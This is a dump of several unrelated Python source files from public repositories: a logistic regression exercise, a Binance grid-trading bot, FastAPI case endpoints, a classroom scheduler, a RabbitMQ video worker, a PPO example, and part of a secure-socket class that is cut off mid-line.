in range(len(y)):\n a = (1 - 1 / (1 + np.exp(-y[i] * (w1 * x1[i] + w2 * x2[i]))))\n sum1 += y[i] * x1[i] * a\n sum2 += y[i] * x2[i] * a\n w1 += k * 1 / L * sum1 + k * C * w1\n w2 += k * 1 / L * sum2 + k * C * w2\n it += 1\n eukd = eucd(w1, w2)\n\n ans = mtr.roc_auc_score(y_true=y, y_score=sigmoid(w1, w2, x1, x2))\n\n print('L1:', ans)\n\n C = 10 # 10 for L2 reg\n w1 = 0\n w2 = 0\n eukd = 1\n it = 0\n\n while eukd > 10 ** (-5) and it < 10000:\n sum1 = 0\n sum2 = 0\n for i in range(len(y)):\n a = (1 - 1 / (1 + np.exp(-y[i] * (w1 * x1[i] + w2 * x2[i]))))\n sum1 += y[i] * x1[i] * a\n sum2 += y[i] * x2[i] * a\n w1 += k * 1 / L * sum1 - k * C * w1\n w2 += k * 1 / L * sum2 - k * C * w2\n it += 1\n eukd = eucd(w1, w2)\n\n answ = (str(ans))\n ans = mtr.roc_auc_score(y_true=y, y_score=sigmoid(w1, w2, x1, x2))\n print('L2:', ans)\n answ += str(ans)\n\nwith open('/data-out/logicRegression.txt', 'w') as f:\n f.write(answ) # max accuracy\n f.close()","repo_name":"WonnieThepoo/ml","sub_path":"2019/logicRegression.py","file_name":"logicRegression.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20037630002","text":"from typing import Any, TypedDict, Union\n\nfrom binance import AsyncClient\nfrom binance.exceptions import BinanceAPIException\n\nfrom order import Order\nfrom backup import OrderListBackup\n\n\n# Incomming parameters type that will be received from RTW\nclass Parameters(TypedDict):\n SYMBOL: str\n OPEN_PRICE: float\n FIRST_ORDER_QUOTE: int\n COEFFICIENT_QUOTE: float\n COEFFICIENT_BASE: float\n COEFFICIENT_FIX: float\n COEFFICIENT_SET: int\n STEPS: int\n DELETE: Union[bool, None]\n\n\nclass OrderManager(OrderListBackup):\n def __init__(self, client: AsyncClient):\n self.client = client\n self.orders_list: list[Order] = list() # list of Order instances\n\n \n def fetch_orders_list_backup(self) -> None:\n # Fetch orders_list from DB\n backup = self.get_orders_list_backup()\n\n if backup:\n for item in backup:\n order: Order = Order(item, backup=True)\n self.orders_list.append(order)\n \n symbols_list = [o.symbol for o in self.orders_list]\n print('Pairs in queue:', symbols_list)\n\n\n async def place_buy_limit(self, order: Order) -> None:\n step = order.step\n\n try:\n buy_order = await self.client.order_limit_buy(\n symbol=order.symbol,\n quantity=order.buy_quantity()[step],\n price=str(order.buy_level()[step])\n )\n order.buy_limit_id = buy_order['orderId']\n except BinanceAPIException as e:\n print(e)\n else:\n print(f'Step({step}) BUY limit for {order.symbol}, Price: {order.buy_level()[step]}, Amount: {order.buy_quantity()[step]}')\n\n\n async def place_sell_limit(self, order: Order) -> None:\n step = order.step\n\n try:\n sell_order = await self.client.order_limit_sell(\n symbol=order.symbol,\n quantity=order.sell_quantity()[step],\n price=str(order.sell_level()[step])\n )\n order.sell_limit_id = sell_order['orderId']\n except BinanceAPIException as e:\n print(e)\n else:\n print(f'Step({step}) SELL limit for {order.symbol}, Price: {order.sell_level()[step]}, Amount {order.sell_quantity()[step]}')\n\n \n async def cancel_order(self, symbol: str, orderId: int) -> None:\n\n try:\n order = await self.client.cancel_order(symbol=symbol, orderId=orderId)\n except BinanceAPIException as e:\n print(e)\n else:\n status = order['status']\n side = order['side']\n order_type = order['type']\n order_symbol = order['symbol']\n print(f'{status} {side} {order_type} for: {order_symbol}')\n\n \n async def add_filters(self, order: Order) -> Order:\n # https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#filters\n\n symbol_info = await self.client.get_symbol_info(order.symbol)\n if symbol_info:\n symbol_filters = symbol_info['filters']\n price_filter = next(filter(lambda x: \"PRICE_FILTER\" == x['filterType'], symbol_filters))\n lot_size = next(filter(lambda x: \"LOT_SIZE\" == x['filterType'], symbol_filters))\n order.tick_size = float(price_filter['tickSize'])\n order.step_size = float(lot_size['stepSize'])\n\n return order\n\n\n def add_order(self, order: Order) -> None:\n # Add order to orders list and update backup\n self.orders_list.append(order)\n self.insert_item(order.__dict__)\n\n\n def remove_order(self, order: Order) -> None:\n # Remove order from orders list and update backup\n self.orders_list.remove(order)\n self.delete_item(order.symbol)\n\n def update_order(self, order: Order) -> None:\n # Remove old order from backup and add new\n self.delete_item(order.symbol)\n self.insert_item(order.__dict__)\n\n\n async def manager(self, order: Order, msg: dict) -> None:\n \n '''The main logic behind order placing. Place sell limit order when buy limit is filled.\n Remove Order class instance and cancel open buy limit order if sell limit is filled'''\n\n buy: bool = msg['S'] == 'BUY'\n sell: bool = msg['S'] == 'SELL'\n filled: bool = msg['X'] == 'FILLED'\n symbol: str = msg['s']\n \n if buy and filled and order.step < order.steps:\n orderId = order.sell_limit_id\n\n if orderId:\n await self.cancel_order(symbol=symbol, orderId=orderId)\n await self.place_sell_limit(order)\n else:\n await self.place_sell_limit(order)\n\n order.step += 1\n await self.place_buy_limit(order)\n print(f'Pair: {order.symbol} Step: {order.step}')\n self.update_order(order)\n\n elif sell and filled:\n orderId = order.buy_limit_id\n await self.cancel_order(symbol=symbol, orderId=orderId)\n self.remove_order(order)\n print(f'Fix for: {order.symbol}')\n\n\n async def handle_parameters(self, parameters: Parameters) -> None:\n\n '''Create instance of Order class with received parameters and add it to the\n orders_list if instance with the same symbol is not already inside the list'''\n\n in_list = list(filter(lambda x: x.symbol == parameters['SYMBOL'], self.orders_list))\n\n if not in_list and not parameters['DELETE']:\n order = Order(parameters)\n order = await self.add_filters(order)\n self.add_order(order)\n symbols_list = [o.symbol for o in self.orders_list]\n\n print('Pair added:', parameters['SYMBOL'])\n print('Pairs in queue:', symbols_list)\n elif in_list and parameters['DELETE']:\n order = next(filter(lambda x: x.symbol == parameters['SYMBOL'], self.orders_list))\n self.remove_order(order)\n symbols_list = [o.symbol for o in self.orders_list]\n\n print('Pair removed:', parameters['SYMBOL'])\n print('Pairs in queue:', symbols_list)\n else:\n if parameters['DELETE']:\n print('Pair is not in queue:', parameters['SYMBOL'])\n else:\n print('Pair already in queue:', parameters['SYMBOL'])\n\n\n async def handle_minitickers(self, tickers: Any) -> None:\n \n '''By default should receive list[dict].\n If get dict it's an error that will be handled'''\n\n if tickers == dict() and tickers['e'] == 'error':\n print('Tickers error:', tickers['e'])\n else:\n for ticker in tickers:\n orders_to_place: list = list(filter(lambda x:\n ticker['s'] == x.symbol and\n float(ticker['c']) <= x.triger_buy_limit() and\n x.initiated == False, self.orders_list))\n if orders_to_place:\n for order in orders_to_place:\n print(f'Pair: {order.symbol} Step: {order.step}')\n await self.place_buy_limit(order)\n order.initiated = True\n\n\n async def handle_user_data(self, msg: dict) -> None:\n \n '''Handle user account event stream.\n If executed order symbol is inside the order_list\n pass this Order class instance to manager'''\n\n error: bool = msg['e'] == 'error'\n execution: bool = msg['e'] == 'executionReport'\n\n if error:\n print(msg['e'])\n else:\n if execution and any([x.symbol == msg['s'] for x in self.orders_list]):\n order: Order = next(filter(lambda x: msg['s'] == x.symbol, self.orders_list))\n if order:\n await self.manager(order, msg)\n else:\n print('Unhandled event:', msg['e'])\n","repo_name":"leonxx-dev/grid-trade","sub_path":"grid_trade/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":7876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33979601323","text":"from typing import Any, List\nfrom zipfile import ZipFile\n\nfrom fastapi import APIRouter, Body, Depends, HTTPException, UploadFile\nfrom fastapi.responses import FileResponse\nfrom sqlalchemy.orm import Session\n\nfrom app import crud, schemas, tasks\nfrom app.core import settings\nfrom app.db.session import get_db\n\nrouter = APIRouter()\n\n\n@router.get(\"/model-info\", response_model=schemas.ModelInfo)\ndef get_model_info() -> Any:\n return schemas.ModelInfo.get_model_info()\n\n\n# This must come before /{case_id} otherwise it will be handled by get_case.\n@router.get(\"/variables\", response_model=List[schemas.CaseVariableConfig])\ndef get_case_variables_config() -> Any:\n \"\"\"\n Get the model variables' config.\n \"\"\"\n return schemas.CaseVariableConfig.get_variables_config()\n\n\n@router.get(\"/\", response_model=List[schemas.CaseWithTaskInfo])\ndef get_cases(\n db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Get all cases.\n \"\"\"\n return [\n schemas.CaseWithTaskInfo.get_case_with_task_info(case, site)\n for (case, site) in crud.case.get_all_cases_with_site(db)\n ]\n\n\n@router.get(\"/{case_id}\", response_model=schemas.CaseWithTaskInfo)\ndef get_case(\n case_id: str,\n db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Get the case with the given id.\n \"\"\"\n case_and_site = crud.case.get_case_with_site(db, id=case_id)\n if not case_and_site:\n return None\n (case, site) = case_and_site\n return schemas.CaseWithTaskInfo.get_case_with_task_info(case, site)\n\n\n@router.post(\"/\", response_model=schemas.CaseWithTaskInfo)\ndef create_case(\n case_attrs: schemas.CaseBase = Body(...),\n data_file: UploadFile | None = None,\n db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Create a new case with the given parameters.\n \"\"\"\n case = crud.case.create(db, obj_in=case_attrs, data_file=data_file)\n case_with_site = crud.case.get_case_with_site(db, id=case.id)\n if not case_with_site:\n # This should never happen.\n raise HTTPException(status_code=400, detail=\"Case not found\")\n (case, site) = case_with_site\n return schemas.CaseWithTaskInfo.get_case_with_task_info(case, site)\n\n\n@router.post(\"/{case_id}\", response_model=schemas.CaseWithTaskInfo)\ndef run_case(case_id: str, db: Session = Depends(get_db)) -> Any:\n case_and_site = crud.case.get_case_with_site(db, id=case_id)\n if not case_and_site:\n return None\n\n (case, site) = case_and_site\n\n task = tasks.run_case.delay(case)\n return schemas.CaseWithTaskInfo.get_case_with_task_info(\n crud.case.update(\n db,\n db_obj=case,\n obj_in={\"status\": schemas.CaseRunStatus.BUILDING, \"run_task_id\": task.id},\n ),\n site,\n )\n\n\n@router.delete(\"/{case_id}\")\ndef delete_case(\n case_id: str,\n db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Delete the case with the given id.\n \"\"\"\n return crud.case.remove(db, id=case_id)\n\n\n@router.get(\"/{case_id}/download\")\ndef download_case(case_id: str, db: Session = Depends(get_db)) -> Any:\n \"\"\"\n Download a compressed tarball of the case with the given id.\n \"\"\"\n case_and_site = crud.case.get_case_with_site(db, id=case_id)\n\n if not case_and_site:\n return None\n\n (case, site) = case_and_site\n\n case_folder_name = case.env[\"CASE_FOLDER_NAME\"]\n\n archive_name = settings.ARCHIVES_ROOT / f\"{case_folder_name}.zip\"\n if archive_name.exists():\n return FileResponse(\n archive_name,\n headers={\n \"Content-Disposition\": f'attachment; filename=\"{case_folder_name}.zip\"'\n },\n media_type=\"application/zip\",\n )\n\n case_path = settings.CASES_ROOT / case_folder_name\n\n if not case_path.exists():\n raise HTTPException(status_code=404, detail=\"Case not found\")\n\n with ZipFile(archive_name, \"w\") as zip_file:\n for f in case_path.rglob(\"*\"):\n if not f.is_symlink():\n zip_file.write(f, arcname=f.relative_to(case_path))\n\n return FileResponse(\n archive_name,\n headers={\n \"Content-Disposition\": f'attachment; filename=\"{case_folder_name}.zip\"'\n },\n media_type=\"application/zip\",\n )\n","repo_name":"NorESMhub/ctsm-api","sub_path":"app/api/v1/endpoints/cases.py","file_name":"cases.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"3935206433","text":"import sqlite3\nfrom create_db import repo\n\n\ndef main():\n should_terminate = False\n curr_iteration = 0\n\n while not should_terminate:\n\n should_terminate = True\n # print running classes\n for courseWithClassroom in repo.get_classes_with_courses():\n if courseWithClassroom.current_course_id != 0:\n if courseWithClassroom.current_course_time_left > 1:\n print(\"({}) {}: occupied by {}\".format(curr_iteration,\n courseWithClassroom.location,\n courseWithClassroom.course_name))\n should_terminate = False\n # update time left\n repo.classrooms.update(courseWithClassroom.class_id,\n courseWithClassroom.current_course_id,\n courseWithClassroom.current_course_time_left - 1)\n elif courseWithClassroom.current_course_time_left == 1:\n repo.courses.delete(courseWithClassroom.current_course_id)\n # print class is done\n print(\"({}) {}: {} is done\".format(curr_iteration,\n courseWithClassroom.location,\n courseWithClassroom.course_name))\n # update class is free\n repo.classrooms.update(courseWithClassroom.class_id, 0, 0)\n for course in repo.courses.find_all():\n classroom = repo.classrooms.find(course.class_id)\n # if class can be started, start it and update tables\n if classroom.current_course_id == 0:\n repo.classrooms.update(classroom.id, course.id, course.course_length)\n student_count = repo.students.find(course.student).count\n new_student_count = student_count - course.number_of_students\n if new_student_count < 0:\n new_student_count = 0\n repo.students.update(course.student, new_student_count)\n print(\"({}) {}: {} is schedule to start\".format(curr_iteration,\n classroom.location,\n course.course_name))\n should_terminate = False\n for course in repo.courses.find_all():\n classroom = repo.classrooms.find(course.class_id)\n # if class can be started, start it and update tables\n if classroom.current_course_id == 0:\n repo.classrooms.update(classroom.id, course.id, course.course_length)\n student_count = repo.students.find(course.student).count\n new_student_count = student_count - course.number_of_students\n if new_student_count < 0:\n new_student_count = 0\n repo.students.update(course.student, new_student_count)\n print(\"({}) {}: {} is schedule to start\".format(curr_iteration,\n classroom.location,\n course.course_name))\n should_terminate = False\n\n # tables print\n print('courses')\n print_table(repo.courses.find_all())\n print('classrooms')\n print_table(repo.classrooms.find_all())\n print('students')\n print_table(repo.students.find_all())\n curr_iteration = curr_iteration + 1\n # if courses table is empty and all classrooms are empty, terminate\n\n\n# if repo.find(classroom with course id) and repo.find(courses) is empty\n# should_terminate = True\n\n\ndef print_table(list_of_tuples):\n for item in list_of_tuples:\n print(item)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"avishaiyaniv605/SPL","sub_path":"classes-schedule/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22785771483","text":"import pika\nfrom pathlib import Path\nimport subprocess\nimport os\nimport shutil\n\n# Convert list into string\ndef listToString(s):\n str1 = \"\" \n for ele in s:\n str1 += ele + \".\"\n return str1\n\n# send task to uploading queue\ndef sendChunksForUploading(message):\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\n channel = connection.channel()\n\n channel.queue_declare(queue='task_upload_queue', durable=True)\n\n channel.basic_publish(\n exchange='',\n routing_key='task_upload_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=pika.spec.PERSISTENT_DELIVERY_MODE\n ))\n print(\" [x] Sent %r\" % message)\n connection.close()\n\n# send task to vidqueue\ndef sendVideoToChunking(message):\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\n channel = connection.channel()\n\n channel.queue_declare(queue='task_vid_queue', durable=True)\n\n channel.basic_publish(\n exchange='',\n routing_key='task_vid_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=pika.spec.PERSISTENT_DELIVERY_MODE\n ))\n print(\" [x] Sent %r\" % message)\n connection.close()\n\n# send video to compressing\ndef sendVideoToCompressing(message):\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\n channel = connection.channel()\n \n channel.queue_declare(queue='task_com_queue', durable=True)\n\n channel.basic_publish(\n exchange='',\n routing_key='task_com_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=pika.spec.PERSISTENT_DELIVERY_MODE\n ))\n print(\" [x] Sent %r\" % message)\n connection.close()\n\nconnection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.queue_declare(queue='task_org_queue', durable=True)\nprint(' [*] Waiting for messages. To exit press CTRL+C')\n\ndef callback(ch, method, properties, body):\n resolutions_lst = []\n message = body.decode()\n print(\" [x] Received %r\" % message)\n messageList = message.split(' ')\n videoPath = messageList[0]\n if (not os.path.isfile(videoPath)):\n print(\" [!] Path provided is not correct!\")\n else:\n fileName = Path(videoPath).stem\n fileDots = fileName.split(\".\")\n resolution = fileDots[-1]\n folderPrefixList = fileDots[:-1]\n folderPrefix = listToString(folderPrefixList)\n dirName = os.path.dirname(videoPath)\n if (resolution == \"360p\"):\n newDir = dirName+\"/\"+folderPrefix+\"360p\"\n if (os.path.isdir(newDir) == False):\n os.mkdir(newDir)\n shutil.copy(videoPath,newDir+\"\\\\\"+fileName+\".mp4\")\n sendVideoToChunking(newDir+\"\\\\\"+fileName+\".mp4 360p\")\n resolutions_lst.append(360)\n elif (resolution == \"1080p\"):\n newDir = dirName+\"/\"+folderPrefix+\"1080p\"\n if (os.path.isdir(newDir) == False):\n os.mkdir(newDir)\n shutil.copy(videoPath,newDir+\"\\\\\"+fileName+\".mp4\")\n sendVideoToChunking(newDir+\"\\\\\"+fileName+\".mp4 1080p\")\n resolutions_lst.append(1080)\n elif (resolution == \"720p\"):\n newDir = dirName+\"/\"+folderPrefix+\"720p\"\n if (os.path.isdir(newDir) == False):\n os.mkdir(newDir)\n shutil.copy(videoPath,newDir+\"\\\\\"+fileName+\".mp4\")\n sendVideoToChunking(newDir+\"\\\\\"+fileName+\".mp4 720p\")\n resolutions_lst.append(720)\n else:\n raise Exception(\"file resolution error\")\n \n if (resolution != \"360p\"):\n newDir = dirName+\"/\"+folderPrefix+\"360p\"\n if (os.path.isdir(newDir) == False):\n os.mkdir(newDir)\n # 360 compression\n sendVideoToCompressing(videoPath+\" 360\")\n resolutions_lst.append(360)\n if (resolution != \"720p\" and resolution != \"360p\"):\n newDir = dirName+\"/\"+folderPrefix+\"720p\"\n if (os.path.isdir(newDir) == False):\n os.mkdir(newDir)\n sendVideoToCompressing(videoPath+\" 720\")\n resolutions_lst.append(720)\n \n # making master.m3u8\n Lines = [\"#EXTM3U\\n\",\"#EXT-X-VERSION:3\\n\"]\n os.mkdir(dirName+\"/\"+folderPrefix[:-1])\n file = open(dirName+\"/\"+folderPrefix[:-1]+\"/master.m3u8\", \"a+\")\n file.writelines(Lines)\n for res in resolutions_lst:\n lines = [\"#EXT-X-STREAM-INF:BANDWIDTH=76280,AVERAGE-BANDWIDTH=69600\\n\", \"https://d2tsi3g28pn9oo.cloudfront.net/\"+folderPrefix[:-1]+\"/playlist360p.m3u8\\n\"]\n if (res == 720):\n lines = [\"#EXT-X-STREAM-INF:BANDWIDTH=223280,AVERAGE-BANDWIDTH=209600\\n\", \"https://d2tsi3g28pn9oo.cloudfront.net/\"+folderPrefix[:-1]+\"/playlist720p.m3u8\\n\"]\n elif (res == 1080):\n lines = [\"#EXT-X-STREAM-INF:BANDWIDTH=433280,AVERAGE-BANDWIDTH=409600\\n\", \"https://d2tsi3g28pn9oo.cloudfront.net/\"+folderPrefix[:-1]+\"/playlist1080p.m3u8\\n\"]\n file.writelines(lines)\n sendChunksForUploading(dirName+\"/\"+folderPrefix[:-1]+\"/master.m3u8 -1\")\n \n\n print(\" [x] Done\")\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\nchannel.basic_qos(prefetch_count=1)\nchannel.basic_consume(queue='task_org_queue', on_message_callback=callback)\n\nchannel.start_consuming()","repo_name":"ThomasHarris0147/oauth2","sub_path":"worker-scripts/organizationWorker.py","file_name":"organizationWorker.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34705349958","text":"import gym\n\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.utils import obs_as_tensor\n\nenv = gym.make(\"CartPole-v1\")\n\nmodel = PPO(\"MlpPolicy\", env, verbose=1, tensorboard_log=\"tb_log/\")\nprint(model.policy)\nmodel.learn(total_timesteps=20000, tb_log_name=\"sb_log\")\n\nbuffer = model.rollout_buffer\nprint(buffer.returns[:40])\nprint(model.policy(obs_as_tensor(buffer.observations, \"cuda\"))[1][:40])\nprint(buffer.observations[0])\n\n# del model # remove to demonstrate saving and loading\n\n# env = gym.make(\"ALE/SpaceInvaders-v5\", render_mode=\"human\")\n# model = PPO.load(\"ppo_cartpole\")\n\n# obs = env.reset()\n# while True:\n# action, _states = model.predict(obs)\n# obs, rewards, dones, info = env.step(action)\n","repo_name":"alexlu07/Coding-Club","sub_path":"atari_ppo/stablebaselines.py","file_name":"stablebaselines.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"42670671125","text":"__author__ = \"\"\"\nolichtne@redhat.com (Ondrej Lichtner)\n\"\"\"\n\nimport os\nimport pickle\nimport hashlib\nimport hmac\nfrom lnst.Common.Utils import not_imported\nfrom lnst.Common.LnstError import LnstError\n\nDH_GROUP = {\"p\": int(\"0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1\"\\\n \"29024E088A67CC74020BBEA63B139B22514A08798E3404DD\"\\\n \"EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\"\\\n \"E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED\"\\\n \"EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D\"\\\n \"C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\"\\\n \"83655D23DCA3AD961C62F356208552BB9ED529077096966D\"\\\n \"670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B\"\\\n \"E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\"\\\n \"DE2BCBF6955817183995497CEA956AE515D2261898FA0510\"\\\n \"15728E5A8AACAA68FFFFFFFFFFFFFFFF\", 16),\n \"g\": 2}\n\n# to support both Python2.6 and 2.7, use following workaround to count\n# the bit length of a number; note that the workaround does not work for\n# value 0 but we don't use it for such value\ndef bit_length(i):\n try:\n return i.bit_length()\n except AttributeError:\n return len(bin(i)) - 2\n\nDH_GROUP[\"q\"] = (DH_GROUP[\"p\"]-1)//2\nDH_GROUP[\"q_size\"] = bit_length(DH_GROUP[\"q\"])//8\nif bit_length(DH_GROUP[\"q\"])%8:\n DH_GROUP[\"q_size\"] += 1\nDH_GROUP[\"p_size\"] = bit_length(DH_GROUP[\"p\"])//8\nif bit_length(DH_GROUP[\"p\"])%8:\n DH_GROUP[\"p_size\"] += 1\n\nSRP_GROUP = {\"p\": int(\"0xAC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC\"\n \"3192943DB56050A37329CBB4A099ED8193E0757767A13DD52312\"\n \"AB4B03310DCD7F48A9DA04FD50E8083969EDB767B0CF6095179A\"\n \"163AB3661A05FBD5FAAAE82918A9962F0B93B855F97993EC975E\"\n \"EAA80D740ADBF4FF747359D041D5C33EA71D281E446B14773BCA\"\n \"97B43A23FB801676BD207A436C6481F1D2B9078717461A5B9D32\"\n \"E688F87748544523B524B0D57D5EA77A2775D2ECFA032CFBDBF5\"\n \"2FB3786160279004E57AE6AF874E7303CE53299CCC041C7BC308\"\n \"D82A5698F3A8D0C38271AE35F8E9DBFBB694B5C803D89F7AE435\"\n \"DE236D525F54759B65E372FCD68EF20FA7111F9E4AFF73\", 16),\n \"g\": 2}\n\nSRP_GROUP[\"q\"] = (SRP_GROUP[\"p\"]-1)//2\nSRP_GROUP[\"q_size\"] = bit_length(SRP_GROUP[\"q\"])//8\nif bit_length(SRP_GROUP[\"q\"])%8:\n SRP_GROUP[\"q_size\"] += 1\nSRP_GROUP[\"p_size\"] = bit_length(SRP_GROUP[\"p\"])//8\nif bit_length(SRP_GROUP[\"p\"])%8:\n SRP_GROUP[\"p_size\"] += 1\n\nclass SecSocketException(LnstError):\n pass\n\ncryptography = not_imported\nhashes = not_imported\nCipher = not_imported\nalgorithms = not_imported\nmodes = not_imported\npadding = not_imported\nec = not_imported\nEllipticCurvePrivateKey = not_imported\nEllipticCurvePublicKey = not_imported\nRSAPrivateKey = not_imported\nRSAPublicKey = not_imported\nDSAPrivateKey = not_imported\nDSAPublicKey = not_imported\ndefault_backend = not_imported\ncryptography_imported = not_imported\ndef cryptography_imports():\n global cryptography_imported\n if cryptography_imported:\n return\n\n global cryptography\n global hashes\n global Cipher\n global algorithms\n global modes\n global padding\n global ec\n global EllipticCurvePrivateKey\n global EllipticCurvePublicKey\n global RSAPrivateKey\n global RSAPublicKey\n global DSAPrivateKey\n global DSAPublicKey\n global default_backend\n\n try:\n import cryptography.exceptions\n from cryptography.hazmat.primitives import hashes\n from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n from cryptography.hazmat.primitives.asymmetric import padding, ec\n from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateKey\n from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey\n from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey\n from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey\n from cryptography.hazmat.primitives.asymmetric.dsa import DSAPrivateKey\n from cryptography.hazmat.primitives.asymmetric.dsa import DSAPublicKey\n from cryptography.hazmat.backends import default_backend\n cryptography_imported = True\n except ImportError:\n raise SecSocketException(\"Library 'cryptography' missing \"\\\n \"can't establish secure channel.\")\n\nclass SecureSocket(object):\n def __init__(self, soc):\n self._role = None\n self._socket = soc\n\n self._master_secret = \"\"\n\n self._ctl_random = None\n self._agent_random = None\n\n self._current_write_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n self._current_read_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n self._next_write_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n self._next_read_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n\n def send_msg(self, msg):\n pickled_msg = pickle.dumps(msg)\n return self.send(pickled_msg)\n\n def recv_msg(self):\n pickled_msg = self.recv()\n if pickled_msg == b\"\":\n raise SecSocketException(\"Disconnected\")\n msg = pickle.loads(pickled_msg)\n return msg\n\n def _add_mac_sign(self, data):\n if not self._current_write_spec[\"mac_key\"]:\n return data\n cryptography_imports()\n\n msg = (bytes(str(self._current_write_spec[\"seq_num\"]).encode('ascii'))\n + bytes(str(len(data)).encode('ascii'))\n + data)\n signature = hmac.new(self._current_write_spec[\"mac_key\"],\n msg,\n hashlib.sha256)\n signed_msg = {\"data\": data,\n \"signature\": signature.digest()}\n return pickle.dumps(signed_msg)\n\n def _del_mac_sign(self, signed_data):\n if not self._current_read_spec[\"mac_key\"]:\n return signed_data\n cryptography_imports()\n\n signed_msg = pickle.loads(signed_data)\n data = signed_msg[\"data\"]\n msg = (bytes(str(self._current_read_spec[\"seq_num\"]).encode('ascii'))\n + bytes(str(len(data)).encode('ascii'))\n + data)\n\n signature = hmac.new(self._current_read_spec[\"mac_key\"],\n msg,\n hashlib.sha256)\n\n if signature.digest() != signed_msg[\"signature\"]:\n return None\n return data\n\n def _add_padding(self, data):\n if not self._current_write_spec[\"enc_key\"]:\n return data\n cryptography_imports()\n\n block_size = algorithms.AES.block_size//8\n pad_length = block_size - (len(data) % block_size)\n pad_char = bytes([pad_length])\n padding = pad_length * pad_char\n\n padded_data = data+padding\n return padded_data\n\n def _del_padding(self, data):\n if not self._current_read_spec[\"enc_key\"]:\n return data\n cryptography_imports()\n\n pad_length = ord(data[-1])\n for char in data[-pad_length]:\n if ord(char) != pad_length:\n return None\n\n return data[:-pad_length]\n\n def _add_encrypt(self, data):\n if not self._current_write_spec[\"enc_key\"]:\n return data\n cryptography_imports()\n\n iv = os.urandom(algorithms.AES.block_size//8)\n mode = modes.CBC(iv)\n key = self._current_write_spec[\"enc_key\"]\n cipher = Cipher(algorithms.AES(key), mode, default_backend())\n encryptor = cipher.encryptor()\n\n encrypted_data = encryptor.update(data) + encryptor.finalize()\n\n encrypted_msg = {\"iv\": iv,\n \"enc_data\": encrypted_data}\n\n return pickle.dumps(encrypted_msg)\n\n def _del_encrypt(self, data):\n if not self._current_read_spec[\"enc_key\"]:\n return data\n cryptography_imports()\n\n encrypted_msg = pickle.loads(data)\n encrypted_data = encrypted_msg[\"enc_data\"]\n\n iv = encrypted_msg[\"iv\"]\n mode = modes.CBC(iv)\n key = self._current_read_spec[\"enc_key\"]\n cipher = Cipher(algorithms.AES(key), mode, default_backend())\n decryptor = cipher.decryptor()\n\n decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()\n\n return decrypted_data\n\n def _protect_data(self, data):\n signed = self._add_mac_sign(data)\n padded = self._add_padding(signed)\n encrypted = self._add_encrypt(padded)\n\n self._current_write_spec[\"seq_num\"] += 1\n return encrypted\n\n def _uprotect_data(self, encrypted):\n padded = self._del_encrypt(encrypted)\n signed = self._del_padding(padded)\n\n if signed is None:\n #preventing timing attacks\n self._del_mac_sign(padded)\n return None\n\n data = self._del_mac_sign(signed)\n\n self._current_read_spec[\"seq_num\"] += 1\n return data\n\n def send(self, data):\n protected_data = self._protect_data(data)\n\n transmit_data = bytes(str(len(protected_data)).encode('ascii')) + b\" \" + protected_data\n\n return self._socket.sendall(transmit_data)\n\n def recv(self):\n length = b\"\"\n while True:\n c = self._socket.recv(1)\n\n if c == b' ':\n length = int(length.decode('ascii'))\n break\n elif c == b\"\":\n return b\"\"\n else:\n length += c\n\n data = b\"\"\n while len(data) < length:\n c = self._socket.recv(length - len(data))\n if c == b\"\":\n return b\"\"\n else:\n data += c\n\n msg = self._uprotect_data(data)\n if msg is None:\n return self.recv()\n return self._handle_internal(msg)\n\n def _handle_internal(self, orig_msg):\n try:\n msg = pickle.loads(orig_msg)\n except:\n return orig_msg\n if \"type\" in msg and msg[\"type\"] == \"change_cipher_spec\":\n self._change_read_cipher_spec()\n return self.recv()\n else:\n return orig_msg\n\n def _send_change_cipher_spec(self):\n change_cipher_spec_msg = 